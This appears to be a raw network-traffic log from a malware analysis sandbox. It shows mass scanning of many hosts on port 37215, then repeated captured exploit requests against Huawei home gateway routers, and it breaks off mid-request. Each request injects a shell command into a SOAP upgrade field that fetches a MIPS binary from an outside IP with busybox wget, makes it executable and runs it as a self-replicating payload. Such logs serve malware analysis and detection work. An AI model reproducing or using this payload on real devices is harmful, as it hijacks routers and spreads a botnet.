Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.119.176.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.19.89.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.202.233.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.105.87.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.44.244.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.214.235.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.122.167.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.23.249.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.106.86.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.241.244.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.148.248.52:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.218.28.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.5.117.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.240.242.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.37.8.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.161.61.123:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.153.254.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.182.3.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.207.26.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.55.40.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.196.43.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.125.79.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.6.139.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.23.90.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.77.217.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.71.175.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.168.174.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.164.80.110:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.29.140.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.153.112.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.171.96.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.134.213.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.227.215.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.204.13.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.208.253.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.91.11.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.226.46.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.200.158.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.27.254.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.165.97.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.166.225.117:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.222.217.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.162.238.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.26.228.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.1.41.137:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.69.208.85:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.213.92.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.111.105.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.176.143.170:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.51.80.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.96.222.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.73.94.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.107.119.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.4.150.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.230.199.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.31.218.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.203.94.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.123.246.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.86.250.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.94.198.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.58.222.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.40.131.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.91.102.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.159.1.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.80.232.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.4.42.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.135.90.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.89.220.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.215.123.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.229.150.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.105.4.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.242.218.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.149.7.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.83.49.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.68.91.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.15.85.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.209.135.153:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.162.14.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.150.188.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.24.1.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.46.171.27:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.30.192.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.176.164.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.175.161.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.55.66.93:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.195.22.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.4.132.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.40.131.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.17.62.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.226.147.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.33.197.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.136.250.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.61.173.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.137.41.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.171.107.14:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.181.51.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.51.223.234:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.212.125.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.120.157.180:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.27.251.221:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.132.110.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.3.48.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.16.28.253:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.100.116.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.209.159.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.195.167.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.8.205.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.18.240.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.183.32.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.202.31.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.23.72.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.114.1.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.185.83.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.204.64.230:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.90.195.139:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.210.252.47:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.166.187.23:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.15.199.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.123.246.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.47.102.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.151.73.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 197.152.39.59:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.249.231.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.154.220.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 156.237.118.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:20644 -> 41.197.105.34:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 37 32 2e 32 33 36 2e 32 39 2e 34 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 172.236.29.44 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 